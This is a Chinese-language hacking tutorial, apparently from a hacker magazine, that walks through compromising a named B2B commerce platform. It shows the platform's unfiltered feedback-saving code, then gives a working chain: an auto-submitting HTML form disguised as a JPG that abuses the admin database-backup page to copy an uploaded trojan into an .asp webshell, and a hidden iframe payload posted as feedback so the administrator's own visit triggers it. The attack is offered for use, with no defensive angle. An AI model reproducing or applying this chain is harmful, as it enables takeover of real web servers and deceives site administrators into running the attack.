跨出WEBSHELL—网域高科行业B2B商务平台实例

作者:樱花浪子
来源:http://www.hacklu.net
申明:本文已发表黑客手册,转载请注名版权,此文版权归樱花浪子和黑客手册所有. !
转载请注明!

  时间过的真快,记得在07年1月份我写过一篇关于跨站添加管理员的文章,上期又给大家带来一期跨站的文章,小天对我那句话比较赞同,跨站的威力是不比注入小的,注入如果遇见SQL数据库还好说,ACC的也就能老老实实猜密码,进后台,在利用后台某个功能得WEBSHELL……说了几句题外话,下面我们一起来跨出WEBSHELL,OK,LET'S GO。

  这里以网域高科行业B2B商务平台来测试一下,这套程序是修改阿里巴巴的程序,防注入做的比较好,但是在leaveword_save.asp文件里有一些变量没有过虑,下面是7到43行代码:

book_user=request.form("book_user")
book_contact=request.form("book_contact")
book_content=request.form("book_content")
if sortid="" or tableid="" or ypid="" then
response.write "<script>alert('未知错误');window.close();</Script>"
response.End()
end if
if book_user="" or len(book_user)<2 or len(book_user)>16 then
response.write "<script>alert('反馈出错,下面是产生错误的可能原因:\n\n·请输入 2-16 位字符的用户名!');window.close();</Script>"
response.End()
end if
if book_contact="" or len(book_contact)<5 or len(book_contact)>40 then
response.write "<script>alert('反馈出错,下面是产生错误的可能原因:\n\n·请输入 5-40 位字符的联系方式!');window.close();</Script>"
response.End()
end if
if book_content="" or len(book_content)<5 or len(book_content)>100 then
response.write "<script>alert('反馈出错,下面是产生错误的可能原因:\n\n·请输入 10-100 位字符的反馈内容!');window.close();</Script>"
response.End()
end if

set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from SMT_leaveword"
rs.open sql,conn,1,3
rs.addnew
rs("SMT_book_user")=book_user
rs("SMT_book_contact")=book_contact
rs("SMT_book_content")=book_content '就用它吧,100个字符满够用了
rs("SMT_book_sort")=sortid
rs("SMT_book_table")=tableid
rs("SMT_book_ypid")=ypid
rs.update
rs.close
set rs=nothing

response.write "<script>alert('反馈成功,谢谢您的参与!');window.close();</Script>"
response.End()
%>

可以看出就是做了一些判断是否为空,和字数上的限制,不过book_content限制提交字数是100个,这对于我们来说已经足够了。
  首先我们注册个用户,在意见反馈里填入跨站语句,如图1所示,这样直接在后台就会执行,如图2所示。

  这样当然我们就可以做很多事情了,比如说像添加个管理员,不过以前已经写过所以就不在重复了,这个后台有数据库备份功能,我们要做的是利用管理员身份替我们备份出一个WEBSHELL来,先看看他的数据库备份代码是怎么写地,在admin\System\admin_backdb.asp文件中的108 到129代码如下:

<form name="form1" method="POST" action="admin_backdb.asp?action=back">
<table width="100%" border="1" align="center" cellpadding="5" cellspacing="0" bordercolorlight="#cccccc" bordercolordark="#FFFFFF">
<tr>
<td bgcolor="#efefef" height=25><strong>备份数据库</strong></td>
</tr>
<tr>
<td height=25>你的空间只有支持fso才可以进行如下操作,否则你只能手动备份</td>
</tr>
<tr>
<td height=25>数据库路径:
<input type="text" name="currf" size="30" value="<%=db%>"></span>   备份数据目录: 
<input type="text" name="backf" size="20" value="mdbback"></td>
</tr>
<tr>
<td height=25>数据库名称:
<input type="text" name="backfy" size="20" value="back.asp"> 
<input type="submit" name="Submit" value="备份" >
<input type="reset" name="Submit2" value="重置" >
</td>
</tr>
</table>
</form>

  我们可以先上传一个RAR的马儿,然后在数据库路径里填上,马的地址为:"/oledit/UploadFile/200712/2007121544821758.rar",这里需要注意的是路径一定要填对,否则备份就会不成功的。改动好的代码如下:

<html>
<form name="form" method="POST" action="../../../admin/System/admin_backdb.asp?action=back">
<table width="100%" border="1" align="center" cellpadding="5" cellspacing="0" bordercolorlight="#cccccc" bordercolordark="#FFFFFF">
<tr>
<td bgcolor="#efefef" height=25><strong>备份数据库</strong></td>
</tr>
<tr>
<td height=25>你的空间只有支持fso才可以进行如下操作,否则你只能手动备份</td>
</tr>
<tr>
<td height=25>数据库路径:
<input type="text" name="currf" size="30" value="../../oledit/UploadFile/200712/2007121544821758.rar"></span>   备份数据目录: 
<input type="text" name="backf" size="20" value="hacklu"></td>
</tr>
<tr>
<td height=25>数据库名称:
<input type="text" name="backfy" size="20" value="hacklu.asp"> 
<input type="submit" name="Submit" value="备份" >

</td>
</tr>
</table>
</form>
<script>document.form.submit()</script>
</html>
把这个保存为XX.jpg上传到服务器,因为HTML改成JPG是可以解析的,路径为:oledit/UploadFile/200712/200712155756468.jpg,在
意见反馈里写上如下挂马语句:<iframe src="../oledit/UploadFile/200712/200712155756468.jpg" width=0 height=0></iframe>如图3,这样当管理员看到时就会自动备份出WEBSHELL来了,如图4,图5所示。

其实跨站还有很多可以做到的事,限于小天摧稿比较急,剩下的留给大家去挖掘吧。

相关日志

发表评论